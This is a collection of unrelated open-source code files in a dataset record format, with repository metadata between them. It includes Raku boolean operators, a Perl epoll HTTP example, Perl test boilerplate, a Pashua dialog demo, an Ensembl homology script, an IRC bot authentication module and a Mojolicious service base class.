postfix:<-->(Bool:U $a is rw) { $a = False; } multi sub postfix:<++>(Bool:D $a is rw) { if $a { True } else { $a = True; False } } multi sub postfix:<-->(Bool:D $a is rw) { if $a { $a = False; True } else { False } } proto sub prefix:<?>(Mu $) is pure { * } multi sub prefix:<?>(Bool:D \a) { a } multi sub prefix:<?>(Bool:U \a) { Bool::False } multi sub prefix:<?>(Mu \a) { a.Bool } proto sub prefix:<so>(Mu $) is pure { * } multi sub prefix:<so>(Bool:D \a) { a } multi sub prefix:<so>(Bool:U \a) { Bool::False } multi sub prefix:<so>(Mu \a) { a.Bool } proto sub prefix:<!>(Mu $) is pure { * } multi sub prefix:<!>(Bool \a) { nqp::p6bool(nqp::not_i(nqp::istrue(a))) } multi sub prefix:<!>(Mu \a) { nqp::p6bool(nqp::not_i(nqp::istrue(a))) } proto sub prefix:<not>(Mu $) is pure { * } multi sub prefix:<not>(Bool \a) { nqp::p6bool(nqp::not_i(nqp::istrue(a))) } multi sub prefix:<not>(Mu \a) { nqp::p6bool(nqp::not_i(nqp::istrue(a))) } proto sub prefix:<?^>(Mu $) is pure { * } multi sub prefix:<?^>(Mu \a) { not a } proto sub infix:<?&>(Mu $?, Mu $?) is pure { * } multi sub infix:<?&>(Mu $x = Bool::True) { $x.Bool } multi sub infix:<?&>(Mu \a, Mu \b) { a.Bool && b.Bool } proto sub infix:<?|>(Mu $?, Mu $?) is pure { * } multi sub infix:<?|>(Mu $x = Bool::False) { $x.Bool } multi sub infix:<?|>(Mu \a, Mu \b) { a.Bool || b.Bool } proto sub infix:<?^>(Mu $?, Mu $?) is pure { * } multi sub infix:<?^>(Mu $x = Bool::False) { $x.Bool } multi sub infix:<?^>(Mu \a, Mu \b) { nqp::p6bool(nqp::ifnull(nqp::xor(a.Bool,b.Bool), 0)) } # These operators are normally handled as macros in the compiler; # we define them here for use as arguments to functions. proto sub infix:<&&>(|) { * } multi sub infix:<&&>(Mu $x = Bool::True) { $x } multi sub infix:<&&>(Mu \a, &b) { a && b() } multi sub infix:<&&>(Mu \a, Mu \b) { a && b } proto sub infix:<||>(|) { * } multi sub infix:<||>(Mu $x = Bool::False) { $x } multi sub infix:<||>(Mu \a, &b) { a || b() } multi sub infix:<||>(Mu \a, Mu \b) { a || b } proto sub infix:<^^>(|) { * } multi sub infix:<^^>(Mu $x = Bool::False) { $x } multi sub infix:<^^>(Mu \a, Mu &b) { a ^^ b() } multi sub infix:<^^>(Mu \a, Mu \b) { a ^^ b } multi sub infix:<^^>(+@a) { my Mu $a = shift @a; while @a { my Mu $b := shift @a; $b := $b() if $b ~~ Callable; next unless $b; return Nil if $a; $a := $b; } $a; } proto sub infix:<//>(|) { * } multi sub infix:<//>(Mu $x = Any) { $x } multi sub infix:<//>(Mu \a, &b) { a // b } multi sub infix:<//>(Mu \a, Mu \b) { a // b } proto sub infix:<and>(|) { * } multi sub infix:<and>(Mu $x = Bool::True) { $x } multi sub infix:<and>(Mu \a, &b) { a && b } multi sub infix:<and>(Mu \a, Mu \b) { a && b } proto sub infix:<or>(|) { * } multi sub infix:<or>(Mu $x = Bool::False) { $x } multi sub infix:<or>(Mu \a, &b) { a || b } multi sub infix:<or>(Mu \a, Mu \b) { a || b } proto sub infix:<xor>(|) { * } multi sub infix:<xor>(Mu $x = Bool::False) { $x } multi sub infix:<xor>(Mu \a, &b) { a ^^ b } multi sub infix:<xor>(Mu \a, Mu \b) { a ^^ b } multi sub infix:<xor>(|c) { &infix:<^^>(|c); } # vim: ft=perl6 expandtab sw=4
40.227586
121
0.52563
ed399060fe740b307b02b13df26fe6bed1cb6360
2,688
pl
Perl
examples/epoll.pl
FGasper/p5-Net-Curl-Promiser
5f0a292c0f8a5b0567b14eecf0cd227649c29f8a
[ "Artistic-1.0-cl8" ]
null
null
null
examples/epoll.pl
FGasper/p5-Net-Curl-Promiser
5f0a292c0f8a5b0567b14eecf0cd227649c29f8a
[ "Artistic-1.0-cl8" ]
2
2021-03-30T20:04:22.000Z
2021-05-10T16:49:18.000Z
examples/epoll.pl
FGasper/p5-Net-Curl-Promiser
5f0a292c0f8a5b0567b14eecf0cd227649c29f8a
[ "Artistic-1.0-cl8" ]
1
2019-10-31T17:22:04.000Z
2019-10-31T17:22:04.000Z
#!/usr/bin/env perl package main; use strict; use warnings; use Net::Curl::Easy qw(:constants); use Linux::Perl::epoll (); my @urls = ( 'http://perl.com', 'http://metacpan.org', ); my $epoll = Linux::Perl::epoll->new(); #---------------------------------------------------------------------- my $http = My::Curl::Epoll->new($epoll); for my $url (@urls) { my $handle = Net::Curl::Easy->new(); $handle->setopt( CURLOPT_URL() => $url ); $handle->setopt( CURLOPT_FOLLOWLOCATION() => 1 ); $http->add_handle($handle)->then( sub { print "$url completed.$/" }, sub { warn "$url: " . shift }, ); } #---------------------------------------------------------------------- while ($http->handles()) { my @events = $epoll->wait( maxevents => 10, timeout => $http->get_timeout() / 1000, ); if (@events) { $http->process( \@events ); } else { $http->time_out(); } } #---------------------------------------------------------------------- package My::Curl::Epoll; use parent 'Net::Curl::Promiser'; sub _INIT { my ($self, $args_ar) = @_; return My::Curl::Epoll::Backend->new($args_ar->[0]); } #---------------------------------------------------------------------- package My::Curl::Epoll::Backend; use parent 'Net::Curl::Promiser::Backend'; sub new { my $self = shift()->SUPER::new(); $self->{'_epoll'} = shift(); $self->{'_fds'} = {}; return $self; } sub _GET_FD_ACTION { my ($self, $args_ar) = @_; my %fd_action; my $events_ar = $args_ar->[0]; while ( my ($fd, $evts_num) = splice @$events_ar, 0, 2 ) { if ($evts_num & $epoll->EVENT_NUMBER()->{'IN'}) { $fd_action{$fd} = Net::Curl::Multi::CURL_CSELECT_IN(); } if ($evts_num & $epoll->EVENT_NUMBER()->{'OUT'}) { $fd_action{$fd} += Net::Curl::Multi::CURL_CSELECT_OUT(); } } return \%fd_action; } sub _set_epoll { my ($self, $fd, @events) = @_; if ( exists $self->{'_fds'}{$fd} ) { $self->{'_epoll'}->modify( $fd, events => \@events ); } else { $self->{'_epoll'}->add( $fd, events => \@events ); $self->{'_fds'}{$fd} = undef; } return; } sub SET_POLL_IN { my ($self, $fd) = @_; return $self->_set_epoll( $fd, 'IN' ); } sub SET_POLL_OUT { my ($self, $fd) = @_; return $self->_set_epoll( $fd, 'OUT' ); } sub SET_POLL_INOUT { my ($self, $fd) = @_; return $self->_set_epoll( $fd, 'IN', 'OUT' ); } sub STOP_POLL { my ($self, $fd) = @_; if ( delete $self->{'_fds'}{$fd} ) { $self->{'_epoll'}->delete( $fd ); } return; } 1;
19.764706
71
0.458333
ed5214cf39e693c449e06db38b7c6202d949c20f
227
t
Perl
t/00-load.t
ThisUsedToBeAnEmail/Module-Generate
cc46f54020b714272fedd2dd5025af6d63e6c7d7
[ "ClArtistic" ]
1
2020-05-12T15:00:31.000Z
2020-05-12T15:00:31.000Z
t/00-load.t
ThisUsedToBeAnEmail/Module-Generate
cc46f54020b714272fedd2dd5025af6d63e6c7d7
[ "ClArtistic" ]
null
null
null
t/00-load.t
ThisUsedToBeAnEmail/Module-Generate
cc46f54020b714272fedd2dd5025af6d63e6c7d7
[ "ClArtistic" ]
null
null
null
#!perl -T use 5.006; use strict; use warnings; use Test::More; plan tests => 1; BEGIN { use_ok( 'Module::Generate' ) || print "Bail out!\n"; } diag( "Testing Module::Generate $Module::Generate::VERSION, Perl $], $^X" );
16.214286
76
0.625551
ed58dbe4dc3eb196ca5c5f10e205f71ac1efbb03
1,332
t
Perl
ISO-639-5/xt/boilerplate.t
Helsinki-NLP/LanguageCodes
5783b4339b04d8bab5266eb33bd2a4b8fb662a6d
[ "MIT" ]
null
null
null
ISO-639-5/xt/boilerplate.t
Helsinki-NLP/LanguageCodes
5783b4339b04d8bab5266eb33bd2a4b8fb662a6d
[ "MIT" ]
null
null
null
ISO-639-5/xt/boilerplate.t
Helsinki-NLP/LanguageCodes
5783b4339b04d8bab5266eb33bd2a4b8fb662a6d
[ "MIT" ]
null
null
null
#!perl -T use 5.006; use strict; use warnings; use Test::More; plan tests => 3; sub not_in_file_ok { my ($filename, %regex) = @_; open( my $fh, '<', $filename ) or die "couldn't open $filename for reading: $!"; my %violated; while (my $line = <$fh>) { while (my ($desc, $regex) = each %regex) { if ($line =~ $regex) { push @{$violated{$desc}||=[]}, $.; } } } if (%violated) { fail("$filename contains boilerplate text"); diag "$_ appears on lines @{$violated{$_}}" for keys %violated; } else { pass("$filename contains no boilerplate text"); } } sub module_boilerplate_ok { my ($module) = @_; not_in_file_ok($module => 'the great new $MODULENAME' => qr/ - The great new /, 'boilerplate description' => qr/Quick summary of what the module/, 'stub function definition' => qr/function[12]/, ); } TODO: { local $TODO = "Need to replace the boilerplate text"; not_in_file_ok(README => "The README is used..." => qr/The README is used/, "'version information here'" => qr/to provide version information/, ); not_in_file_ok(Changes => "placeholder date/time" => qr(Date/time) ); module_boilerplate_ok('lib/ISO/639/5.pm'); }
22.965517
78
0.557057
ed49b539304622dc7aa1322270a9cfc5c2697a5a
3,686
pl
Perl
example.pl
BlueM/Pashua-Binding-Perl
38cab0c088e87177b76cb27c3dc436ac8cd3f26a
[ "Unlicense" ]
4
2015-07-12T17:49:25.000Z
2021-12-15T14:22:46.000Z
example.pl
BlueM/Pashua-Binding-Perl
38cab0c088e87177b76cb27c3dc436ac8cd3f26a
[ "Unlicense" ]
null
null
null
example.pl
BlueM/Pashua-Binding-Perl
38cab0c088e87177b76cb27c3dc436ac8cd3f26a
[ "Unlicense" ]
null
null
null
#!/usr/bin/perl -w # # USAGE INFORMATION: # As you can see this text, you obviously have opened the file in a text editor. # # If you would like to *run* this example rather than *read* it, you # should open Terminal.app, drag this document's icon onto the terminal # window, bring Terminal.app to the foreground (if necessary) and hit return. # BEGIN { use File::Basename; unshift @INC, dirname($0); } use strict; use Pashua; # Define what the dialog should be like # Take a look at Pashua's Readme file for more info on the syntax my $conf = <<EOCONF; # Set window title *.title = Welcome to Pashua # Introductory text txt.type = text txt.default = Pashua is an application for generating dialog windows from programming languages which lack support for creating native GUIs on Mac OS X. Any information you enter in this example window will be returned to the calling script when you hit “OK”; if you decide to click “Cancel” or press “Esc” instead, no values will be returned.[return][return]This window shows nine of the UI element types that are available. You can find a full list of all GUI elements and their corresponding attributes in the documentation (➔ Help menu) that is included with Pashua. txt.height = 276 txt.width = 310 txt.x = 340 txt.y = 44 txt.tooltip = This is an element of type “text” # Add a text field tf.type = textfield tf.label = Example textfield tf.default = Textfield content tf.width = 310 tf.tooltip = This is an element of type “textfield” # Add a filesystem browser ob.type = openbrowser ob.label = Example filesystem browser (textfield + open panel) ob.width=310 ob.tooltip = This is an element of type “openbrowser” # Define radiobuttons rb.type = radiobutton rb.label = Example radiobuttons rb.option = Radiobutton item #1 rb.option = Radiobutton item #2 rb.option = Radiobutton item #3 rb.tooltip = This is an element of type “radiobutton” # Add a popup menu pop.type = popup pop.label = Example popup menu pop.width = 310 pop.option = Popup menu item #1 pop.option = Popup menu item #2 pop.option = Popup menu item #3 pop.default = Popup menu item #2 pop.tooltip = This is an element of type “popup” # Add 2 checkboxes chk.rely = -18 chk.type = checkbox chk.label = Pashua offers checkboxes, too chk.tooltip = This is an element of type “checkbox” chk.default = 1 chk2.type = checkbox chk2.label = But this one is disabled chk2.disabled = 1 chk2.tooltip = Another element of type “checkbox” # Add a cancel button with default label cb.type = cancelbutton cb.tooltip = This is an element of type “cancelbutton” db.type = defaultbutton db.tooltip = This is an element of type “defaultbutton” (which is automatically added to each window, if not included in the configuration) EOCONF my $customLocation; if (-d '/Volumes/Pashua/Pashua.app') { # Looks like the Pashua disk image is mounted. Run from there. $customLocation = '/Volumes/Pashua'; } else { # Search for Pashua in the standard locations $customLocation = ''; } # Get the icon from the application bundle my $path = dirname(dirname(Pashua::locate_pashua($customLocation))) . '/Resources/AppIcon@2.png'; if (-f $path) { $conf .= "img.type = image img.x = 435 img.y = 248 img.maxwidth = 128 img.tooltip = This is an element of type “image” img.path = $path\n"; } # Pass the configuration string to the Pashua module my %result = Pashua::show_dialog($conf, $customLocation); if (%result) { print " Pashua returned the following hash keys and values:\n"; while (my($k, $v) = each(%result)) { print " $k = $v\n"; } } else { print " No result returned. Looks like the 'Cancel' button has been pressed."; }
30.97479
570
0.725176
ed01b8e90775438578473ce72370ea26cfcd24e0
246
t
Perl
t/07_timestamp.t
hatyuki/p5-Auth-OATH-OTP
86d8dbd21b9a4f5f0dade609ec38ddcf0148d205
[ "Artistic-1.0" ]
2
2018-07-03T05:10:06.000Z
2021-08-31T08:04:28.000Z
t/07_timestamp.t
hatyuki/p5-Auth-OATH-OTP
86d8dbd21b9a4f5f0dade609ec38ddcf0148d205
[ "Artistic-1.0" ]
null
null
null
t/07_timestamp.t
hatyuki/p5-Auth-OATH-OTP
86d8dbd21b9a4f5f0dade609ec38ddcf0148d205
[ "Artistic-1.0" ]
1
2017-05-12T05:29:13.000Z
2017-05-12T05:29:13.000Z
use strict; use warnings; use Test::More; use Test::MockTime ( ); use Auth::OATH::OTP; my $oath = Auth::OATH::OTP->new(timestep => 10); is $oath->timestamp(100), 10; Test::MockTime::set_absolute_time(35); is $oath->timestamp, 3; done_testing;
17.571429
48
0.686992
ed58ffc894518be197a9e6cae220120a08e28528
2,104
pl
Perl
scripts/examples/homology_printAllHomologueAlignementsBetween2Species.pl
ens-ds23/ensembl-compara
9a70b57b2360af53a1e95a860b2440c4289a673f
[ "Apache-2.0" ]
null
null
null
scripts/examples/homology_printAllHomologueAlignementsBetween2Species.pl
ens-ds23/ensembl-compara
9a70b57b2360af53a1e95a860b2440c4289a673f
[ "Apache-2.0" ]
null
null
null
scripts/examples/homology_printAllHomologueAlignementsBetween2Species.pl
ens-ds23/ensembl-compara
9a70b57b2360af53a1e95a860b2440c4289a673f
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env perl # Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. use strict; use warnings; use Bio::AlignIO; use Bio::EnsEMBL::Registry; # # This script prints all the alignments of all the orthologue pairs # between human and mouse # my $reg = 'Bio::EnsEMBL::Registry'; $reg->load_registry_from_db( -host=>'ensembldb.ensembl.org', -user=>'anonymous', ); # get compara DBAdaptor my $comparaDBA = $reg->get_DBAdaptor('Multi', 'compara'); # get GenomeDB for human and mouse my $humanGDB = $comparaDBA->get_GenomeDBAdaptor->fetch_by_registry_name("human"); my $human_gdb_id = $humanGDB->dbID; my $mouseGDB = $comparaDBA->get_GenomeDBAdaptor->fetch_by_registry_name("mouse"); my $mouse_gdb_id = $mouseGDB->dbID; my $mlss = $comparaDBA->get_MethodLinkSpeciesSetAdaptor-> fetch_by_method_link_type_genome_db_ids('ENSEMBL_ORTHOLOGUES',[$human_gdb_id,$mouse_gdb_id]); my $species_names = ''; foreach my $gdb (@{$mlss->species_set_obj->genome_dbs}) { $species_names .= $gdb->dbID.".".$gdb->name." "; } printf("mlss(%d) %s : %s\n", $mlss->dbID, $mlss->method->type, $species_names); my $homology_list = $comparaDBA->get_HomologyAdaptor->fetch_all_by_MethodLinkSpeciesSet($mlss); printf("fetched %d homologies\n", scalar(@{$homology_list})); foreach my $homology (@{$homology_list}) { my $sa = $homology->get_SimpleAlign(-seq_type => 'cds'); my $alignIO = Bio::AlignIO->newFh(-interleaved => 0, -fh => \*STDOUT, -format => "phylip", -idlength => 20); print $alignIO $sa; }
32.369231
110
0.727662
73ef90c15d340f7927d44351daf9c1e54fc2ba07
6,941
pm
Perl
modules/auth.pm
WaveHack/PinkieBot-Perl
00f594786d3aa96f7c0eb106a0cd8e5213f0f9dc
[ "MIT" ]
1
2017-03-27T13:54:58.000Z
2017-03-27T13:54:58.000Z
modules/auth.pm
WaveHack/PinkieBot-Perl
00f594786d3aa96f7c0eb106a0cd8e5213f0f9dc
[ "MIT" ]
6
2017-03-27T11:44:28.000Z
2017-10-11T14:30:42.000Z
modules/auth.pm
WaveHack/PinkieBot-Perl
00f594786d3aa96f7c0eb106a0cd8e5213f0f9dc
[ "MIT" ]
null
null
null
package PinkieBot::Module::Auth; use base 'PinkieBot::Module'; use warnings; no warnings 'redefine'; use strict; my %authenticatedUsers = (); sub init { my ($self, $bot, $message, $args) = @_; # Create needed tables if needed $self->createTableIfNotExists('auth', $message); # Register hooks $self->registerHook('said', \&handleSaidLogin); $self->registerHook('said', \&handleSaidLogout); # $self->registerHook('said', \&handleSaidLogoutAll); $self->registerHook('said', \&handleSaidWhoami); $self->registerHook('said', \&handleSaidListUsers); $self->registerHook('said', \&handleSaidListUsernames); $self->registerHook('said', \&handleSaidAddUser); $self->registerHook('said', \&handleSaidDeleteUser); $self->registerHook('said', \&handleSaidChangeLevel); } sub handleSaidLogin { my ($bot, $message) = @_; return unless ($bot->addressedMsg($message) && ($message->{body} =~ /^login ([^ ]+) (.*)/)); # Check if already logged in if (isLoggedIn($message->{raw_nick})) { $bot->reply("You are already logged in from '$message->{raw_nick}'.", $message); return; } my $username = $1; my $password = $2; # Check if user exists and get authorization level my $sth = $bot->{db}->prepare('SELECT level FROM auth WHERE username = ? AND password = SHA1(?) LIMIT 1;'); $sth->execute($username, $password); my $level = $sth->fetchrow_array(); # Invalid username/password unless (defined($level)) { $bot->reply("Invalid username/password combination.", $message); return; } # Store login $authenticatedUsers{$message->{raw_nick}} = $level; $bot->reply("You are now logged in from '$message->{raw_nick}' with authorization level $level.", $message); } sub handleSaidLogout { my ($bot, $message) = @_; return unless ($bot->addressedMsg($message) && ($message->{body} =~ /^logout$/)); return unless (checkAuthorization($bot, $message, 0)); # Logout delete($authenticatedUsers{$message->{raw_nick}}); $bot->reply("You have been logged out from '$message->{raw_nick}'.", $message); } sub handleSaidLogoutAll { my ($bot, $message) = @_; return unless ($bot->addressedMsg($message) && ($message->{body} =~ /^logout all$/)); return unless (checkAuthorization($bot, $message, 8)); # Logout everypony # todo: fix # for (keys %authenticatedUsers) { # delete($href{$_}); # } # $bot->reply("", $message); } sub handleSaidWhoami { my ($bot, $message) = @_; return unless ($bot->addressedMsg($message) && ($message->{body} =~ /^whoami\??$/)); return unless (checkAuthorization($bot, $message, 0)); $bot->reply("You are logged in as '$message->{raw_nick}' with autorization level $authenticatedUsers{$message->{raw_nick}}.", $message); } sub handleSaidListUsers { my ($bot, $message) = @_; return unless ($bot->addressedMsg($message) && ($message->{body} =~ /^list users$/)); return unless (checkAuthorization($bot, $message, 8)); $bot->reply(("Logged in users: " . join(', ', sort(keys(%authenticatedUsers))) . '.'), $message); } sub handleSaidListUsernames { my ($bot, $message) = @_; return unless ($bot->addressedMsg($message) && ($message->{body} =~ /^list usernames$/)); return unless (checkAuthorization($bot, $message, 8)); my (@usernames, $username, $level); my $sth = $bot->{db}->prepare('SELECT username, level FROM auth ORDER BY username;'); $sth->execute(); $sth->bind_columns(undef, \$username, \$level); while ($sth->fetch()) { push(@usernames, "$username ($level)"); } $bot->reply(("Registered usernames: " . join(',', @usernames) . '.'), $message); } sub handleSaidAddUser { my ($bot, $message) = @_; return unless ($bot->addressedMsg($message) && ($message->{body} =~ /^adduser ([^ ]+) ([^ ]+)(?: ([0-9]+))?/)); return unless (checkAuthorization($bot, $message, 8)); my $username = $1; my $password = $2; my $level = $3; unless (defined($level)) { $level = 0; } # todo: Check if username already exists # Insert user my $sth = $bot->{db}->prepare('INSERT INTO auth (username, password, level) VALUES (?, SHA1(?), ?);'); $sth->execute($username, $password, $level); $bot->reply("User '$username' has been added with password '$password' and authorization level '$level'.", $message); } sub handleSaidDeleteUser { my ($bot, $message) = @_; return unless ($bot->addressedMsg($message) && ($message->{body} =~ /^deluser (.*)/)); return unless (checkAuthorization($bot, $message, 8)); my $username = $1; my $sth = $bot->{db}->prepare('SELECT 1 FROM auth WHERE username = ? LIMIT 1;'); $sth->execute($username); unless ($sth->rows == 1) { $bot->reply("User '$username' doesn't exist.", $message); return; } $sth = $bot->{db}->prepare('DELETE FROM auth WHERE username = ?;'); $sth->execute($username); $bot->reply("User '$username' deleted.", $message); } sub handleSaidChangeLevel { my ($bot, $message) = @_; return unless ($bot->addressedMsg($message) && ($message->{body} =~ /^changelevel ([^ ]+) ([0-9]+)/)); return unless (checkAuthorization($bot, $message, 8)); my $username = $1; my $level = $2; my $sth = $bot->{db}->prepare('SELECT 1 FROM auth WHERE username = ? LIMIT 1;'); $sth->execute($username); unless ($sth->rows == 1) { $bot->reply("User '$username' doesn't exist.", $message); return; } my $authorizationLevel = authorizationLevel($message->{raw_nick}); # Can only change level to equal or lower than current level if ($level > $authorizationLevel) { $bot->reply("Can only change target level to level $authorizationLevel or lower.", $message); return; } $sth = $bot->{db}->prepare('UPDATE auth SET level = ? WHERE username = ?;'); $sth->execute($level, $username); $bot->reply("Level for '$username' is now $level.", $message); } # Helper functions sub authorizationLevel { my ($self, $raw_nick) = @_; $raw_nick = $self unless (defined($raw_nick)); unless (isLoggedIn($raw_nick)) { return -1; } return $authenticatedUsers{$raw_nick}; } sub isLoggedIn { my ($self, $raw_nick) = @_; $raw_nick = $self unless (defined($raw_nick)); return (exists($authenticatedUsers{$raw_nick}) ? 1 : 0); } # Global functions sub checkAuthorization { my ($module, $bot, $message, $level) = @_; # When loading from a module, we have $module. If loading from here, we # don't have $module, so shift everything one place to the right. unless (defined($level)) { $level = $message; $message = $bot; $bot = $module; } my $raw_nick; if (defined($message->{raw_nick})) { $raw_nick = $message->{raw_nick}; } elsif (defined($message->{inviter})) { $raw_nick = $message->{inviter}; } unless (isLoggedIn($raw_nick)) { $bot->reply("You are not logged in.", $message); return 0; } my $authorizationLevel = authorizationLevel($raw_nick); unless ($authorizationLevel >= $level) { $bot->reply("You are not authorized to perform that command. (Have level $authorizationLevel, need level $level).", $message); return 0; } return 1; } 1;
27.326772
137
0.649762
ed48ab39a6d8dd9b0ac09e1b1640413d3c51beb4
7,645
pm
Perl
lib/Mojolicious/Service.pm
wfso/Mojolicious-ServiceManage
f37801d8f39d0753e3ec8e168629351014b38dde
[ "MIT" ]
1
2017-10-30T07:05:04.000Z
2017-10-30T07:05:04.000Z
lib/Mojolicious/Service.pm
wfso/Mojolicious-ServiceManage
f37801d8f39d0753e3ec8e168629351014b38dde
[ "MIT" ]
1
2017-11-02T12:21:06.000Z
2017-12-09T02:30:37.000Z
lib/Mojolicious/Service.pm
wfso/Mojolicious-Services
f37801d8f39d0753e3ec8e168629351014b38dde
[ "MIT" ]
null
null
null
package Mojolicious::Service; use Mojo::Base -base; use Carp qw/cluck confess/; has [qw/dbi models app c dmn parent/]; sub model{ my ($self, $name) = @_; # Check model existence cluck qq{model "$name" is not yet created } unless($self->models && $self->models->{$name}); # Get model return $self->models->{$name}; } sub service{ my $self = shift; return $self->parent->service(@_) if($self->parent); confess "require [parent] field"; } ## 调用 model 层的 create 方法 sub mcreate{ my $self = shift; my $table = $self->dmn; my $model = $self->model($table); my $obj = $model->create(@_); return undef unless($obj && $obj->{object}); return $obj->{object}; } ## 调用 model 层的 edit 方法 sub medit{ my $self = shift; my $table = $self->dmn; my $model = $self->model($table); my $obj = $model->edit(@_); return undef unless($obj && $obj->{rows}); return $obj->{rows}; } ## 调用 model 层的 remove 方法 sub mremove{ my $self = shift; my $table = $self->dmn; my $model = $self->model($table); my $obj = $model->remove(@_); return undef unless($obj && $obj->{rows}); return $obj->{rows}; } ## 调用 model 层的 sremove 方法 sub msremove{ my $self = shift; my $table = $self->dmn; my $model = $self->model($table); my $obj = $model->sremove(@_); return undef unless($obj && $obj->{rows}); return $obj->{rows}; } ## 调用 model 层的 count 方法 sub mcount{ my $self = shift; my $table = $self->dmn; my $model = $self->model($table); return $model->count(@_); } sub AUTOLOAD{ my $self = shift; my ($package, $method) = our $AUTOLOAD =~ /^(.+)::(.+)$/; no strict qw/refs/; ## 在哪个包里调用的这个方法 my $pkg = caller(0); ## 调用 model 层的create方法 if($method =~ /^mcreate_(.+)$/){ my $table = $1; my $model = $self->model($table); my $obj = $model->create(@_); return undef unless($obj && $obj->{object}); return $pkg->isa(__PACKAGE__) ? $obj : $obj->{object}; } ## 调用 model 层的edit方法 if($method =~ /^medit_(.+)$/){ my $table = $1; my $model = $self->model($table); my $obj = $model->edit(@_); return undef unless($obj && $obj->{rows}); return $pkg->isa(__PACKAGE__) ? $obj : $obj->{rows}; } ## 调用 model 层的remove方法 if($method =~ /^mremove_(.+)$/){ my $table = $1; my $model = $self->model($table); my $obj = $model->remove(@_); return undef unless($obj && $obj->{rows}); return $pkg->isa(__PACKAGE__) ? $obj : $obj->{rows}; } ## 调用 model 层的sremove方法 if($method =~ /^msremove_(.+)$/){ my $table = $1; my $model = $self->model($table); my $obj = $model->sremove(@_); return undef unless($obj && $obj->{rows}); return $pkg->isa(__PACKAGE__) ? $obj : $obj->{rows}; } ## 调用 model 层的 count 方法 if($method =~ /^mcount_(.+)$/){ my $table = $1; my $model = $self->model($table); return $model->count(@_); } ## get_by_字段名 if($method =~ /^get_by_(.+)$/){ my $table = $self->dmn; my $field = $1; my $mmethod = "get_by_" . $field; my $model = $self->model($table); cluck "the model [$table] if not found!" unless($model); my $obj = $model->$mmethod(@_); return undef unless($obj && $obj->{$model->name}); return $pkg->isa(__PACKAGE__) ? $obj : $field eq "id" ? $obj->{$model->name} : $obj->{list}; } ## get_表名_by_字段名 if($method =~ /^get_(.+)_by_(.+)$/){ my $table = $1; my $field = $2; my $mmethod = "get_by_" . $field; my $model = $self->model($table); cluck "the model [$table] if not found!" unless($model); my $obj = $model->$mmethod(@_); return undef unless($obj && $obj->{$model->name}); return $pkg->isa(__PACKAGE__) ? $obj : $field eq "id" ? $obj->{$model->name} : $obj->{list}; } ## remove_by_字段名 if($method =~ /^remove_by_(.+)$/){ my $table = $self->dmn; my $field = $1; my $mmethod = "remove_by_" . $field; my $model = $self->model($table); cluck "the model [$table] if not found!" unless($model); my $obj = $model->$mmethod(@_); return undef unless($obj && defined $obj->{rows}); return $pkg->isa(__PACKAGE__) ? $obj : $obj->{rows}; } ## remove_表名_by_字段名 if($method =~ /^remove_(.+)_by_(.+)$/){ my $table = $1; my $field = $2; my $mmethod = "remove_by_" . $field; my $model = $self->model($table); cluck "the model [$table] if not found!" unless($model); my $obj = $model->$mmethod(@_); return undef unless($obj && defined $obj->{rows}); return $pkg->isa(__PACKAGE__) ? $obj : $obj->{rows}; } ## sremove_表名_by_字段名 if($method =~ /^sremove_by_(.+)$/){ my $table = $self->dmn; my $field = $1; my $mmethod = "sremove_by_" . $field; my $model = $self->model($table); cluck "the model [$table] if not found!" unless($model); my $obj = $model->$mmethod(@_); return undef unless($obj && defined $obj->{rows}); return $pkg->isa(__PACKAGE__) ? $obj : $obj->{rows}; } ## sremove_表名_by_字段名 if($method =~ /^sremove_(.+)_by_(.+)$/){ my $table = $1; my $field = $2; my $mmethod = "sremove_by_" . $field; my $model = $self->model($table); cluck "the model [$table] if not found!" unless($model); my $obj = $model->$mmethod(@_); return undef unless($obj && defined $obj->{rows}); return $pkg->isa(__PACKAGE__) ? $obj : $obj->{rows}; } ## count_表名_by_字段名 if($method =~ /^count_by_(.+)$/){ my $table = $self->dmn; my $field = $2; my $mmethod = "count_by_" . $field; my $model = $self->model($table); cluck "the model [$table] if not found!" unless($model); return $model->$mmethod(@_); } ## count_表名_by_字段名 if($method =~ /^count_(.+)_by_(.+)$/){ my $table = $1; my $field = $2; my $mmethod = "count_by_" . $field; my $model = $self->model($table); cluck "the model [$table] if not found!" unless($model); return $model->$mmethod(@_); } confess qq{Can't locate object method "$method" via package "$package"} } =encoding utf8 =head1 NAME Mojolicious::Service - Mojolicious框架中所有Service的基类(具体的Service需要用户实现)! =head1 SYNOPSIS use Mojolicious::Service my $service = Mojolicious::Service->new({ dbi=>DBIx::Custom->new(), models=>{} }); my $user->some_mothed(arg1,arg2,……); =head1 DESCRIPTION Mojolicious框架中所有Service的基类(具体的Service需要用户实现)! =head1 ATTRIBUTES =head2 dbi dbi 是为service提供数据库操作接口的对象。 =head2 models models 是为service提供数据模型操作接口的对象。 =head2 app 当前应用程序的引用,通常是Mojolicious对象。 =head2 c 当前控制器的引用,通常是Mojolicious::Controller子类的对象。 =head1 METHODS =head2 model 根据model的名称从 models 属性中获取model。 =head1 AUTHOR wfso, C<< <461663376@qq.com> >> =head1 BUGS Please report any bugs or feature requests to C<bug-mojolicious-Services at rt.cpan.org>, or through the web interface at L<http://rt.cpan.org/NoAuth/ReportBug.html?Queue=Mojolicious-Services>. I will be notified, and then you'll automatically be notified of progress on your bug as I make changes. =head1 SUPPORT You can find documentation for this module with the perldoc command. perldoc Mojolicious::Service You can also look for information at: =over 4 =item * RT: CPAN's request tracker (report bugs here) L<http://rt.cpan.org/NoAuth/Bugs.html?Dist=Mojolicious-Services> =item * AnnoCPAN: Annotated CPAN documentation L<http://annocpan.org/dist/Mojolicious-Services> =item * CPAN Ratings L<http://cpanratings.perl.org/d/Mojolicious-Services> =item * Search CPAN L<http://search.cpan.org/dist/Mojolicious-Services/> =back =cut 1; # End of Mojolicious::Service
22.889222
129
0.591236
ed605910897c7dabe3f9eaabf3a3522c60a3f314
1,467
pm
Perl
t/TestXML2HTML.pm
renatb/ITS2.0-WICS-converter
caf867c804e7e2cf96ab8732808fcbed85be0046
[ "MIT" ]
1
2015-04-12T19:37:59.000Z
2015-04-12T19:37:59.000Z
t/TestXML2HTML.pm
renatb/ITS2.0-WICS-converter
